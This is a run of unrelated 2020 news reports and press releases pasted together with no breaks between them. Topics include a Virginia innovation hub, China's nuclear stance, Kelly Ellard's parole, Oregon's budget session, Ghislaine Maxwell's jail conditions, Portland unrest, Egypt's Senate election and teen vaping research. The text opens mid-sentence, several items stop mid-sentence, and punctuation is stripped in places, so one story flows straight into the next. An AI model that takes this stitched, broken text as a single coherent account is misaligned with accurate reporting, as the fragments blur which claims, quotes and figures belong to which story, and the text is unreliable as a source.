VIPA, the Virginia Innovation Partnership Authority, and has received bipartisan support. The Staunton Innovation Hub recently hosted a bill-signing ceremony for the act that authorized the creation of VIPA, which was attended by Governor Northam and local legislators. First Bank & Trust Company assisted restoration efforts by providing a loan for the renovation of the organization's main building. Leonard Pittman, Senior Vice President and Loan Officer for SIH commented about the project, "First Bank & Trust Company fully supports the entrepreneurial spirit of the businesses we serve. By supporting organizations like the Staunton Innovation Hub, we are fostering the economic growth of the economy. It is our job as a community bank in Staunton for over 20 years to support the stability of our community." About the Staunton Innovation Hub The Staunton Innovation Hub offers indoor and outdoor co-working spaces, a conference room and private offices that are furnished and affordable, high speed internet and frequent classes. Event space is also available. About First Bank & Trust Company First Bank & Trust Company, one of the top community banks in the United States, is a diversified financial services firm with office locations in southwest Virginia, northeast Tennessee, and New River and Shenandoah Valleys. Financial objectives are addressed by offering free checking products for personal and business accounts, and assessing lending solutions managed by mortgage, agricultural and commercial lending divisions. Comprehensive financial solutions are available through trust and brokerage service representatives. For more information, visit www.firstbank.com or contact Nicole Franks [email protected] SOURCE First Bank & Trust Company Related Links https://www.FirstBank.com WASHINGTON, Aug. 10 (Xinhua) -- China's nuclear power is not at the same level as that of the United States and Russia, and it is not yet the right timing for China to join their nuclear disarmament talks, Chinese Ambassador to the United States Cui Tiankai has said. "All over the world, the United States and Russia have the largest nuclear arsenal ... this is international consensus. So they should take the lead in international nuclear disarmament," said Cui in an online interview with Nicholas Burns, executive director of the Aspen Strategy Group, and Andrea Mitchell, chief foreign affairs correspondent of NBC News, while attending the 2020 Aspen Security Forum on Aug. 4. "China has a very small amount of nuclear weapons. It's not at the same level. We are far behind the U.S. and Russia," Cui said. Only when the United States is ready to reduce its arsenal to the size of China's can both sides begin real negotiation, he said, adding, "I hope we could be given a very convincing answer." Noting that the United States and Russia are having "very important negotiations" on some existing nuke control treaties, such as the New Strategic Arms Reduction Treaty, Cui said the treaties are "extremely important for international strategic stability." "We hope these treaties could continue," he said. Photo: The Canadian Press Kelly Ellard and her father Lawrence leave the Vancouver courthouse, March 30, 2000 Day parole has been expanded for Kelly Ellard, the woman convicted of killing 14-year-old Reena Virk near Victoria in 1997. A decision from the Parole Board of Canada released Tuesday says Ellard, who now goes by the name Kerry Sim, can live away from her residential facility for up to five days a week. Ellard was 15 when she and a group of teens beat Virk and then she and an accomplice followed the injured girl, beat her again and drowned her in the Gorge waterway. The high-profile case went all the way to the Supreme Court of Canada before Ellard was convicted and given a life sentence for second-degree murder. She is now in her late 30s, has two children, and the board says her relationship with her spouse is a stabilizing factor for reintegration. Five conditions for her day parole remain, including that she not consume alcohol or drugs, that she follow her treatment program and not associate with anyone involved in crime. The board says the extension of day parole for six months will contribute to Ellard's reintegration into society as a law-abiding citizen. It says she has demonstrated compliance and stability since being permitted four-day leaves from her residential facility and that has now been increased to five. "The board finds that extended leave privileges will allow you a greater degree of independence while continuing to have the support of the (community based residential facility.)" It says the murder, Ellard's extremely callous behaviour afterward and her actions in prison, which included issues with substance misuse and violent behaviour, were "problematic." "However, to your credit, you have demonstrated increased accountability for your actions and there have been no concerns related to substance misuse or violent behaviour for many years. You have successfully completed five periods of day parole without issue." Oregon lawmakers were poised Monday to achieve their special-session aims by cutting spending and rebalancing the state budget, and passing other bills affecting unemployment claims and further limiting police use of chokeholds. The main committee for the Legislatures second special session this summer pushed through most of the bills during a six-hour meeting on Monday. Members did so despite complaints about access restrictions resulting from the coronavirus pandemic, which has closed the Capitol in Salem to the public. We cannot continue to do public policy with no committees and no public input, Senate Republican Leader Fred Girod of Lyons said. The 10-member committee handled 11 of 13 bills, including all related to the budget, that Democratic legislative leaders had drafted for the session. Most of the debate was not about the budget, but over bills relating to unemployment claims. A different six-member panel cleared a bill (House Bill 4301) to limit police use of chokeholds by requiring police to give a warning and allow a reasonable opportunity for someone to cease resistance. Lawmakers during their first special session in June limited chokeholds to instances where police can employ the use of deadly force. Both bills stopped short of an outright ban on the practice. Some issues did not make it onto the legislative agenda. Among them was legislation to disconnect Oregons tax code from three federal tax breaks included in the CARES Act. Supporters said it would recoup potential losses of $225 million for state coffers, but business groups argued that the federal provisions were designed to lower their tax liability and let them retain needed cash. The House Revenue Committee heard the proposed bill on Thursday. Also left hanging was whether lawmakers should approve a liability shield for businesses, schools and others against lawsuits arising from the coronavirus pandemic. Budget work Lawmakers did much of the budget work weeks ago, after budget committee leaders unveiled their plan to eliminate a gap of more than $1 billion between declining tax collections and previously approved spending for the current two-year budget. Budget subcommittees heard testimony July 22-24. The plan maintains a $9 billion state school fund about half of which already is spent but lawmakers will have to draw $400 million from an education reserve to do it. About $400 million will be left in that reserve, and lawmakers do not plan to tap the states rainy-day fund, which will be just under $1 billion by mid-2021. The main bill cuts $481 million in other spending from the tax-supported general fund, including debt repayments for building projects that now are suspended. That total exceeds the $387 million target originally set by the budget committee leaders. Practically every agency with general fund was reduced, John Borden, a legislative fiscal analyst, told the committee. Unlike the original budget-balancing plan, the main bill will leave open two state prisons. Shutter Creek Correctional Institution, a 260-bed minimum-security prison in North Bend, would have closed in September. Warner Creek Correctional Facility, a 400-bed minimum-security prison near Lakeview, was scheduled for closure at the end of the budget cycle in mid-2021. The main bill also would leave an ending balance of about $100 million, down from the nearly $1 billion projected for mid-2021, before the pandemic resulted in shutdowns of business activity and public life and ate into tax collections. The Emergency Board, which consists of 20 lawmakers who handle budget matters between sessions, will have $200 million more for pandemic and wildfire emergencies. The state emergency fund was down to $10.3 million. Unemployment claims The main special-session committee cleared two of three bills relating to unemployment claims. One bill (Senate Bill 1703) will allow the Department of Revenue to share information on tax returns, which are confidential, with the Employment Department. Some sharing already takes place, and for regular claims against the state unemployment trust fund, the Employment Department can check payroll records of wage earners. But without this bill, the Employment Department was slowed in processing claims by people that the CARES Act made newly eligible for unemployment benefits in a federal program. Among them are self-employed people, independent contractors and freelancers, gig and temporary workers. Many do not have payroll records but all have filed tax returns. A second bill (Senate Bill 1701) will allow a higher threshold for earnings $300 per week, rather than 10 times Oregons minimum wage at $132.50 before unemployment benefits are reduced. This change will expire at the end of 2021. State Labor Commissioner Val Hoyle put forth the idea after she consulted with her counterpart in Georgia. She said the change would allow some workers to earn more money without losing benefits, and some employers to take on more workers. It won the endorsement of Jason Brandt, president of the Oregon Restaurant and Lodging Association, who said, We decided to share our position because we think this is the right thing to do. Oregons leisure and hospitality industry has been affected most by the pandemic downturn. A third bill (Senate Bill 1702) failed. It would have facilitated unemployment benefits for employees of public and private schools other than teachers, researchers and administrators maintenance workers, cooks and other staff and removed them from state adjudication of claims that usually takes weeks. Four of five House members on the committee voted for it, but Democratic Sen. Betsy Johnson of Scappoose joined two Republican senators to oppose it. The bill required majorities from House and Senate members to advance. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Ghislaine Maxwell appears via video link during her arraignment hearing on July 14 in Manhattan Federal Court in New York where she was denied bail - JANE ROSENBERG/Reuters Ghislaine Maxwell is mounting a new legal bid to be moved out of solitary confinement, arguing that she is has being in uniquely onerous conditions in a notorious New York jail. Ms Maxwell, 58, who is facing charges of sex trafficking of underage girls, says she wants to be moved in with other prisoners at the Metropolitan Detention Center in Brooklyn, and is demanding greater access to computer facilities to help prepare her defence. Her lawyers also argue in the application, filed overnight in New York, that the prosecution must release to Maxwell the identities of the three victims in the indictments against her to allow her to conduct a proper defence ahead of her trial next July. Ms Maxwell, who was arrested in New Hampshire last month, has been held in the prison since July 6 and has been denied bail. Ghislaine Maxwell has been held on remand at the Metropolitan Detention Center in Broooklyn, New York since July 6 - Arturo Holmes/Getty Images Maxwells defence lawyer Christian Everdell tells Judge Alison Nathan that Maxwell was put on suicide watch because of what happened to Epstein - but that she is not suicidal. He added that she is under surveillance 24 hours a day, including by multiple prison guards and is constantly watched on camera, and that her cell is searched several times a day, and she has been forced to undergo body regular scans. Mr Everdell says that many of the prison guards do not appear to be regular MDC personnel, raising the possibility they may have been brought in for the specific purpose of watching Ms Maxwell. The prison authorities are desperate to avoid a repeat of criticism they received after Jeffrey Epstein was found hanging in his cell last August. Ghislaine Maxwell with Jeffrey Epstein, who was found hanging in his cell last year in a Manhattan jail while awaiting trial on sex trafficking charges - Splash News/SplashNews.com Mr Everdell says: These prison guards constantly observe Ms Maxwell and take notes on her every activity, including her phone conversations with defence counsel. Until recently, Ms Maxwell was subjected to suicide watch protocols, including being woken up every few hours during the night and being forced to wear special clothing, despite the fact that she, unlike Mr Epstein, has never been suicidal and was never diagnosed as exhibiting risk factors for suicide. Story continues Her cell is searched multiple times a day and she has been forced to undergo numerous body scans. Mr Everdell also takes issue with the prison authorities offering to allow Ms Maxwell to use a computer on her floor during the three hours each day that she is not confirmed to her cell. He says: The three-hour period is specifically designated to be used by Ms Maxwell for recreation, exercise, and personal hygiene, including showers. The BOP (Bureau of Prisons) should not be permitted to force Ms Maxwell to choose between maintenance of her physical and mental health and participating in her own defence. Even if Ms Maxwell were to forgo personal maintenance altogether, three hours a day is on its face an insufficient amount of time for reviewing documents in a complex case with voluminous document discovery, such as this one. He said the prosecutions first delivery of evidence ran to nearly 13,000 pages of documents, which would take Ms Maxwell up until November to read if the only computer access she had was for three hours a day. He calls that entirely unworkable, and says she needs to be able to work on her defence full-time, or 40 hours a week. The other plank of the lawyers application is on disclosure - specifically demanding an order forcing the prosecution to disclose the names of the three victims referred to the indictment. Ms Maxwell cannot prepare or receive a fair trial without this information, he argues. Mr Everdell says: It is therefore critical for the defence to know the names of these individuals as soon as possible, so that we can mount an effective defence investigation and adequately prepare for trial. This is especially true in this case where the alleged misconduct took place on unspecified dates roughly 25 years ago in multiple locationsnamely, New York, Florida, New Mexico, and the United Kingdomand where the central figure, Jeffrey Epstein, is alleged to have engaged in misconduct with dozens, if not hundreds, of alleged victims." The defence, he said, should not have to waste time speculating who victims 1-3 were. 12 Riots in 10 Days Since Federal Agents Left Portland, Says Homeland Security Chief Acting Department of Homeland Security (DHS) Secretary Chad Wolf wrote Monday that in the ten days since federal law enforcement officials were moved from their positions in Portland, police declared riots 12 times. Its been 10 days since the agreement between DHS and Oregon. During that time, @PortlandPolice has declared riots or unlawful assemblies 12 times, he wrote. Rioting and arson are not actions of peaceful protesting. Portland has seen consecutive nights of protests, riots, and general unrest since the death of George Floyd in police custody in May. On Monday night, at least nine people were arrested at a protest in Portland, and some officials accused them of attacking officers. They had gathered near the North Precinct building on Northeast Emerson Street on Monday night and Tuesday morning. Police said in a statement that dangerous objects [were] launched at officers before they declared an unlawful assembly. At around 8 p.m., demonstrators started marching before exercising their free speech rights, police said, adding that they then started blocking traffic. With shields at the front of the march, the group proceeded west on Northeast Killingsworth Street, ending at Portland Police North Precinct at 449 NE Emerson Street, said the office, which added that agitators have previously tried to storm this building and burn it down with people still inside. Portland police officers walk through the Laurelhurst neighborhood after dispersing a protest of about 200 people from in front of the Multnomah County Sheriffs Office in Portland, Ore., early in the morning on Aug. 8, 2020. (Nathan Howard/AP Photo) Authorities issued warnings via loudspeaker announcements and on social media not to take part in criminal activity such as vandalism, unlawful entry, or arson attempt. Some individuals in the crowd began shining bright strobe lights in the officers and troopers eyes, causing them pain. Officers had to move vehicles into position to light up the crowd and make it more difficult to target officers with lights. There were also items thrown at officers including eggs and water bottles, said police. Earlier this week, President Donald Trump suggested to Portland Mayor Ted Wheeler, a Democrat, to call in the National Guard to deal with the unrest while warning that Wheeler and Oregon Gov. Kate Brown, a Democrat, could be held responsible. Portland, which is out of control, should finally, after almost 3 months, bring in the National Guard. The Mayor and Governor are putting peoples lives at risk. They will be held responsible. The Guard is ready to act immediately. The Courthouse is secured by Homeland! he wrote on Twitter. We're always interested in hearing about news in our community. Let us know what's going on! Go to form Appointment 11 August 2020 Kew Green Hotels, one of the leading international hotel management companies with over 55 hotels in its portfolio, has appointed Russell Duckworth as Finance Director to support the group's continued domestic and international growth strategy and to provide further expertise to hotels and partners. This senior leadership appointment comes after the recent announcement that Kew Green Hotels is expanding into the South East Asia market, launching seven properties, four under the Wyndham Hotels & Resorts brand umbrella in Bangkok, Thailand, commencing from quarter one 2021, in a joint venture with Siamese Asset. Alongside the launch of these seven properties, Kew Green Hotels will also be launching a Commercial Hub for South East Asia to support the region, based in Bangkok. Russell Duckworth joined Kew Green in March 2020. Classically trained with Price Waterhouse Coopers, Russell's interest in hospitality started when assigned to the Southern Sun Hotel Group as an external auditor. His career has spanned a period of 25 years, holding a variety of positions around the world from South Africa, British Virgin Islands to the UK, working with a number of medium to large corporate companies including Le Meridien, Malmaison & Hotel Du Vin, Rocco Forte and Virgin Limited Edition. Russell's experience is evident in the positions held during this time, which included self-accounting entities, corporate finance and group operational finance roles. Results orientated and commercially astute, Russell brings a strong desire to standardise and enhance reporting to deliver efficient and future proofed solutions across the group through technology and people. Tools that provide greater value for owners and partners across the world. As hospitality experts, Kew Green Hotels set themselves apart by combining years of experience with innovative ideas to deliver outstanding hotel services and by delivering exceptional returns for hotel owners. WASHINGTON President Trump is considering new immigration rules that would allow border officials to temporarily block an American citizen or legal permanent resident from returning to the United States from abroad if the authorities have reason to believe the person may be infected with the coronavirus. In recent months, Mr. Trump has imposed sweeping rules that ban entry by foreigners into the United States, citing the risk of allowing the virus to spread from hot spots abroad. But those rules have exempted two categories of people trying to return: American citizens and foreigners who have already established legal residence. Now, a draft regulation would modify that effort by expanding the governments power to prevent entry by citizens and legal residents in individual, limited circumstances. Federal agencies have been asked to submit feedback on the proposal to the White House by Tuesday, though it is unclear when it might be approved or announced. Under the proposal, which relies on existing legal authorities of the Centers for Disease Control and Prevention to protect the country, the government could block a citizen or legal resident from crossing the border into the United States if an official reasonably believes that the individual either may have been exposed to or is infected with the communicable disease. D emand for oil storage when prices tumbled in April saw a rush to secure tanker space, global shipping broker Clarkson has said. The shipping services groups chief executive Andi Case said its broking division had a very strong first half to June 30 as it updated investors on dividend plans. Shares in the FTSE 250 London-headquartered firm jumped 232p, or 11%, to 2332p. It was boosted as oil traders and companies sought vessels that could carry and store crude. US oil prices went negative for the first time in history in April, in part due to a supply glut when the virus crisis put drivers off the road across the globe, damaging demand. Clarkson, which gets commission from ship owners on deals it brokers, said first-half revenues increased to 180.4 million from 167.8 million in the same period last year. A note from HSBC said: Whilst it had been expected that tankers would be strong, one suspects nobody recognised it would be this strong. Pre-tax profits increased to 20.9 million from 19.2 million, and Clarkson said it would pay the previously deferred 2019 final dividend of 53p per share as an interim dividend on September 21. It also declared a further interim dividend for 2020 of 25p per share. The company also said its research business performed strongly as clients sought advice, data and analysis during a period of high volatility and very different working environments. But its container shipping arm took a hit due to lower output of components and finished goods from factories. Tabitha Roth/Getty Images Pearland police believe someone is killing horses for meat in the area, after multiple horses were found brutally butchered, with their body parts removed. In a Facebook post, police said the most recent incident happened on Saturday, Aug. 8, in the 1400 block of Hooper Road. The horse owner called police after arriving to her property and noticing two of her horses missing and her property fence cut. The purpose of the grant is to develop commercial, paradigm-shifting products for continuous monitoring of blood pressure and additional vital signs in hospitals and other clinical settings, using Sensifree's innovative, proprietary technology and Dreamtech's commercialization capabilities. These products will help to improve quality of care, patient safety and medical outcome. "The launch of this program is a major milestone as we move towards regulatory clearance and market entry," said Eran Agmon, Chief Executive Officer and co-founder of Sensifree. "Dreamtech's design and production capabilities are a great addition to our efforts of bringing products to the market. We thank Dreamtech and KORIL-RDF for providing development and manufacturing expertise and financial support necessary for our vision to improve clinicians practice and patient's medical outcome." "We believe that this joint effort will provide commercially and clinically viable solutions. We are impressed with Sensifree's technology and found it very suitable for our growth strategy," said DY Choi, Senior VP and Managing Director at Dreamtech's Convergence Division. Ilan Barak, CTO and co-founder of Sensifree, added, "We're very proud to be one of the select companies who've received the KORIL-RDF grant. This lends further credibility and support to our unique technology. We believe that our work with Dreamtech and KORIL-RDF will be beneficial to our vision to improve patient safety and medical outcome." Dr. Tae Hoon Choi, Chief Executive of KORIL-RDF, explained on the selection of the Sensifree-Dreamtech project: "Bio-convergence, an approach that integrates life sciences with additional engineering disciplines, is becoming a new wave in Korea and Israel to overcome the COVID-19 pandemic era. To enhance the cooperation between the two countries, KORIL-RDF is currently planning to promote "Bio-convergence" specifically. The project between Sensifree and Dreamtech well fits our strategy. We were impressed with the use case, the technology, and expect to have a technologically and commercially innovative outcome." About Sensifree Sensifree is a medical device company developing products based on its patent pending, proprietary technology for advanced hemodynamic monitoring. The Company's first product, a continuous, non-invasive blood pressure (cNIBP) monitor, is designed for use in hospital's critical care settings. cNIBP monitoring would allow to identify episodes of low BP, which is a major risk factor in the development of post-surgical complications and mortality. For more information please visit www.sensifree.com About KORIL-RDF Korea Israel Industrial R&D Foundation (KORIL-RDF) is a bi-national foundation, created by the governments of the Republic of Korea and the State of Israel, whose mission is to promote & support technological collaboration in innovative R&D between commercial companies in both countries. About Dreamtech Founded in 1998, the Company engages in the design and manufacturing of modular / finished solutions for mobile, automotive, and medical devices. Working closely with customers from the product development phase, the Company develops customized products that satisfy the customers' functional and quality needs while meeting necessary cost requirements. Its major products include integrated printed board assembly, fingerprint sensor modules, LED modules for automobiles, and smart medical devices such as wireless ECG monitoring patches and sensors for orthopedic surgery. SOURCE Sensifree CHEYENNE, Wyo. The state of Wyoming isnt the lead contender to buy a vast swath of land and mineral rights in Wyoming, Colorado and Utah offered for sale by Occidental Petroleum, the governors office said Tuesday. Still, Wyoming will keep its bid active and confidential in case the top bid falls through, Gov. Mark Gordon said. We believe our bid positions Wyoming to generate additional investment revenue and would keep taxes low into the future, Gordon said. The total land area involved in the sale is bigger than Connecticut. About 20% of the land includes surface rights that could be leased for grazing or wind and solar energy projects. The other 80% involves only mineral rights ownership of trona, oil and natural gas reserves that could be leased for mining and drilling. Gordon learned Saturday that Wyoming hadnt submitted the leading bid, his spokesman Michael Pearlman said. Wyoming officials dont know who submitted the leading bid or how many bids there were, Pearlman said. We have selected a bidder to proceed with and were working on due diligence and a purchase and sale agreement with the bidder that we selected, Occidental CEO Vicki Hollub said in an earnings call Tuesday without offering more details. Proponents of Wyoming buying the land have said it could deliver a better return than the current rate on 10-year Treasuries. Opponents question the wisdom of Wyoming investing heavily in the boom-and-bust minerals industry amid weak revenue from coal, oil and natural gas extraction. Wyoming has apparently dodged a bullet by not submitting the top bid, Bob LeResche, a board member of the Powder River Basin Resource Council landowner advocacy group, said. This ill-conceived use of our states permanent investment funds would have broken an elementary investing rule of sovereign wealth funds, by doubling down on Wyomings primary source of existing revenue. And that mistake would have been magnified in this economy where our foundational revenues are sinking fast, LeResche said. Much of the land was the old route of the Transcontinental Railroad. The federal government granted Union Pacific Railroad as much as 20 square miles (52 square kilometers) of land in Wyoming and other Western states for every mile (1.6 kilometer) of track laid as an incentive to build the railroad in the 1860s. The arrangement left Union Pacific with enormous land holdings interspersed with federal lands in a checkerboard pattern across a large area of the West. Anadarko Petroleum bought the land from Union Pacific and Occidental acquired it in a merger with Anadarko in 2019. ___ Follow Mead Gruver at https://twitter.com/meadgruver Victorians are in the "second wave" of the worst health crisis in a century. The declaration of a state of disaster triggered further significant economic dislocation. We are on the edge of a depression not seen since the 1930s. Just as the Great Depression was the result of government policies trying to deal with falling prices and the false idea that government debt was a problem so is this crisis, which is based on the necessary idea that the economic cost of avoiding massive risk to life and health is worth it. As with the recovery from that depression, much will depend on what governments do. The immediate hit to Victorias economy measured as GDP in the first month, will be around $6-7 billion dollars. The full effects of stage four restrictions on employment are not yet apparent. In addition to existing unemployment we can expect an additional 400,000 jobless. Up to 83,000 casual jobs in Victoria are at risk as many casual workers will not get JobKeeper. Other employers, such as Victorian universities and airlines, have laid off around 5000 casuals. Melbourne University retrenched 450 full-time staff and Virgin sacked 3000 workers. Like the 1930s depression, prices are collapsing. The ABS reports its cost-of-living indexes fell in July by 2.6 per cent, a drop we have not since 1930. Quantitative easing can be used to inject money into the ecnomy. Credit:iStock Victorias housing market is a powder keg. Housing debt increased mid-year as early easing of COVID-19 restrictions saw the value of new loans approved jump 6.2 per cent. Yet Melbourne's housing market took the biggest hit of any Australian capital city since May as values dropped by 3.8 per cent over the last quarter. More than 800,000 Australians accepted the banks offer to defer loan repayments - on housing, business and personal loans. Any extensions of the repayment holiday will only be considered in September and only on a case-by-case basis. Bankers now say some borrowers unable to meet their mortgage payments will need to consider selling their properties. While September is the first month of spring, it will feel more like a winter storm. It will kickstart when JobKeeper, JobSeeker and Youth Allowance benefits are cut. Cuts to JobKeeper and JobSeeker allowances will only squeeze peoples capacity to pay mortgages. Insolvency firms predict up to 1500 businesses will become insolvent in September-October, further increasing jobless rates. The potent combination of unemployment, financial stress, debt-fuelled fire-sales of houses and falling house prices will rock Australias derivatives market, the market that triggered the 2008-9 global recession. A campaign against child trafficking was launched in Bihar on Tuesday by Nobel peace prize winner Kailash Satyarthi's foundation, which claimed that the state was among the worst affected by the scourge and could be staring at a fresh spurt as millions of migrants have returned in the recent past. 'Mukti Caravan', a campaign which has been running in various parts of the country for many years, was launched digitally in Bihar over a webinar hosted by Children's Foundation (KSCF) and attended by senior officials of the state and members of the legislature, among others. The foundation has roped in 50 youths, who were rescued from child traffickers, for an intensive door-to-door drive in the districts, which have been particularly notorious for the menace. Addressing the webinar, KFSC Executive Director (Campaign) Bidhan Chandra Singh said, "The drive will focus on 10 districts in the state's northern and north-eastern parts. Our bicycle-borne activists shall be covering 10,000 villages, reaching out to 10 lakh people, with a view to galvanizing at least 2,000 young volunteers who would join the cause." Bihar has of late shown a rising trend with regard to incidence of child trafficking, he said. Being at the third spot, after Rajasthan and Karnataka, in 2017 when it had reported 395 cases, the state jumped to the top position a year later when it accounted for 539 instances of "A study conducted by the KFSC also found that 54 per cent of the total number of child labourers rescued by the Bachpan Bachao Andolan in Delhi hailed from Bihar. The state is once again in a vulnerable position as millions of migrant workers have returned home during the lockdown which is bound to have socio-economic consequences," he noted with concern. Pramila Kumar Prajapati, the chairperson of the State Commission for Protecting Childrens Rights (SCPCR), said, "In this time of crisis, child traffickers have been very active and trying to lure children from the poorest of families. I am trying to reach out to parents of such children and make them understand the perils of falling in the trap." Addressing the webinar, N Vijayalakshmi, principal secretary, animal husbandry department, said she had recently met Satyarthi and discussed in detail the issues of child labour and Hailing the launch of the 'Mukti Caravan' campaign, in Bihar, she said, "A lot of work has been done but a lot more remains to be done. Until we do not reduce poverty, illiteracy and unemployment among the parents, we cannot strike at the roots of the problem." State Legal Services Authority (SLSA) secretary Sunil Dutt Mishra said, "We wish to create an efficient system based on better coordination between SCPCR, SLSA, NGOs and police for eradication of child labour. We hope Mukti Caravan will be an important milestone in this direction." Others, who took part in the webinar were Congress MLA Shakeel Ahmed Khan and JD(U)'s Ranju Geeta, who represent constituencies in Katihar and Sitamarhi districts respectively, which are among the 10 identified for the campaign in the state. Besides, it was also attended by Vyas ji, Chairperson of the State Disaster Management Authority and Bachpan Bachao Andolans Executive Director Dhananjay Tingal. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The number of eligible voters is 63 million; the vote, which takes place on Tuesday and Wednesday, is being held in 14,000 polling stations Egyptians started voting on Tuesday morning for the newly created Senate amid tight measures aimed at reining in the spread of the coronavirus. Around 63 million Egyptians of the country's population of more than 100 million people are eligible to cast ballots. The two-day vote for the second chamber of parliament is being held at some 14,000 polling stations across the country. Voters wearing protective masks were seen standing in line outside polling stations in several parts of Cairo as they waited to cast their vote. Egyptian President Abdel-Fattah El-Sisi cast his ballot at a school in Cairo's Heliopolis district soon after voting opened at 9am. Other top government officials and high-profile figures voted early in the day including Prime Minister Mostafa Madbouly and Pope Tawadros II, the head of the Coptic Orthodox Church. Outside a polling centre in central Cairo, a female police officer handed out free face masks to voters entering to cast their ballots. Dozens of people, mostly women, lined up outside, many of whom said they only came to encourage other voters to cast their ballots. "We should vote for the stability of our country. The country is being rebuilt and we should help in this," said 42-year-old trader Ashraf Nagy after he cast his vote, raising his voice over the patriotic songs that were blasting from loudspeakers outside the polling location. The prime minister has called on Egyptians to take part in the vote, which he said is aimed at "bolstering democracy" and "enriching political life in Egypt," the cabinet said in a statement. Health Minister Hala Zayed, Information Minister Osama Heikal, Trade Minister Nevine Gamea, and Irrigation Minister Mohamed Abdel-Aty were among the officials who cast their ballots early on Tuesday. The Council of Senators will have no legislative powers and will mainly have an advisory role. It is created in place of the Shura Council, an upper house of parliament that was dissolved in 2014. The polls are being supervised by 18,000 judges assisted by 120,000 clerks. Polling stations will be open from 9am to 9pm local time. Chairman of the National Elections Authority Lasheen Ibrahim reminded voters earlier this week that voting is mandatory and that those who do not vote face a fine of up to 500 pounds ($32) a penalty imposed in previous elections but has not been widely enforced. Egypts Armed Forces and the interior ministry have put in place intensified security measures to secure the elections and ensure a "safe climate" for citizens casting their ballots during the vote, the military said. Meanwhile, the health ministry is providing around 2,800 ambulances and around 7,000 medical staff across polling locations nationwide. Some voters said that having little-known candidates running for seats in the chamber should not be a hurdle. "None of those running wouldn't be good. Currently, there is a firmness in the country thanks to President [El-Sisi], and nothing happening in the country is wrong," said Ayman Nagy, 29. New Chamber A total of 787 candidates are competing for seats in the new legislative body, which is to be set up as part of constitutional amendments approved last year. Voting for Egyptians living abroad took place in 124 countries on Sunday and Monday. The Senate, whose term is set at five years, will have 300 members. Two-thirds of the members will be elected via the individual candidacy and the closed party list systems, and the rest will be appointed by the president. Women will hold a quota of at least 25 percent of the seats in the chamber. The results of the first round of voting will be announced on 19 August. The run-off vote will take place in September. The polls are expected to be swept by the pro-government Mostaqbal Watan (the Future of Homeland) party, which fielded the largest number of candidates. A list led by the party will seek 100 seats allocated to party lists uncontested. Mostaqbal Watan has 59 candidates on this list. Another 100 individual seats will be up for grabs, of which 95 will be contested by Mostaqbal Watan candidates. Authorities said polling stations had been sanitised ahead of the vote and that all areas used by voters will be sanitised again at the end of the day. The elections authority has installed disinfection gates in front of every polling station to ensure the safety of voters against infection. The authority said earlier this week that masks must be worn inside polling stations. It said that all those participating in the electoral process are required to wear masks and abide by social distancing inside polling stations, including the heads of polling stations, candidates representatives, media personnel and the representatives of non-governmental organisations. Egypt has reported 95,666 coronavirus infections since the pandemic arrived in February, including a little over 5,000 deaths. Search Keywords: Short link: In one scene, a conference is held to decide on the mothers future. In any other book, it might be a pivotal moment with the main players assembled, the mother primed for attack, her freedom in the balance but we get a vague sense of events. The writer confesses that she has no memory of what was said. She recalls only the quaking, liquefying dread of being near her mother. At the first sight of her mother, in fact, Laveau-Harvies sister tries to run: She wheels around like a horse catching the scent of a bear upwind and I grab her arm. Dont move, I whisper. Its OK. She can describe her mothers handwriting, however: all confident pointed flourishes, a martial-art-weapons script. And she prowls among her possessions, her fur coats and china. She dips into the past to present a few examples of bizarre behavior how her mother once crept up behind her and snipped off her ponytail with a pair of scissors but there is no full accounting of what it was like to grow up with such a woman, no interest in exploring the sources of her cruelty. As a choice it is unsatisfying, but also curiously mesmerizing: the mother as the glacier, the great governing force in their family life, and still too dominant, too vast to be seen whole. In its compression and odd omissions, its reluctance to diagnose, this memoir is itself an erratic an outlier in its genre. Think of the the vivid portraits of the confounding mothers in Mary Karrs The Liars Club, Alison Bechdels Are You My Mother? and Jeanette Wintersons Why Be Happy When You Could Be Normal? Those stories are ledgers of silences, persisting confusions and, at times, outright abuses. They are narratives of the mother-daughter bond that rummage deep in the past and carry into the present, as the writer interrogates what it means to wrest possession of the story. My mother composed me as I now compose her, Bechdel writes. How moth-eaten The Erratics appears in comparison and yet, how intriguing is its approach. Laveau-Harvies gaze repeatedly curves away from personality to place to the setting of her childhood: the ice age that deposited the Foothills Erratics Train, the torn wood inlays and cluttered floors of the dilapidated family home, which she navigates, high-stepping, like a Lipizzan dancing horse, wondering, with frantic paranoia, if her mother has arranged an ambush. She cannot travel without noting potential fault lines and grinding tectonic plates, without wondering about the water table or dilating on the black earth near active volcanoes the lava cooling but still hot and dangerous, just a crust on the top, nothing you would really want to put your weight on. You could drop through into the molten surge below. Laveau-Harvie depicts her mother neither as a riddle to be solved nor as a woman to be understood, but as an implacable act of nature, who must only be survived. If she remains a hazy character in the book, she inflects its every sentence, its structure, its aversions. She was a mother with a monstrous talent for twisting reality. In her memoir of the aftermath, her daughter tethers her story to the very ground beneath her. She speaks only of what she can confirm; she moves carefully, finding her footing. UBC researchers are raising the alarm about the increase of vaping among teenagers and how e-cigarette marketing strategies target youth. Assistant Professor Laura Struik, who teaches in UBC Okanagan's School of Nursing, recently published a paper examining why teens take up vaping and whether advertising capitalizes on those reasons. "This is the first study of its kind that makes direct links between reasons for youth uptake and the marketing strategies of e-cigarette companies," says Struik. "The public needs to know how the next generation is being targeted to take up and ultimately become addicted to these nicotine products." Struik conducted the study with Assistant Professor Sarah Dow-Fleisner, who conducts research in the UBCO School of Social Work on development trajectories and resilient functioning of children and families in high-risk contexts. The researchers say there are a variety of reasons teens take up vaping--ranging anywhere from managing stress or anxiety, curiosity, taste, peer pressure, easy access and even factors like it's easy to hide from parents and is perceived to be less harmful than cigarettes. When e-cigarettes first entered the North American market in 2008, they were hailed as a smoking cessation tool. However, Dow-Fleisner says when they take a closer look at who uses them, it's clear teens do not use the products to quit smoking. "According to recent statistics, only three per cent of Canadian youth in grades 7 to 12 are current smokers--while 20 per cent use e-cigarettes," she says. "This suggests that upwards of 17 per cent of e-cigarette users were originally non-smokers. In addition, among youth who do smoke combustible cigarettes, fewer than eight per cent of those report using e-cigarettes to quit smoking." Recent polls found that 95 per cent of teens said they were curious about vaping so they wanted to try it, while 81 per cent tried an e-cigarette because a friend vaped, and 80 per cent reported continued e-cigarette use because they enjoyed the good flavours. More than 70 per cent of the teens agreed e-cigarettes were "cool and fun." Despite emerging evidence of both short- and long-term health risks associated with vaping, Struik says the evidence is clear the other reasons teens take up vaping override the health risks. "Youth don't make the decision to vape because they don't understand the risks or don't care about the risks," she says. "Young people are taking up vaping for a variety of reasons and e-cigarette companies are leveraging 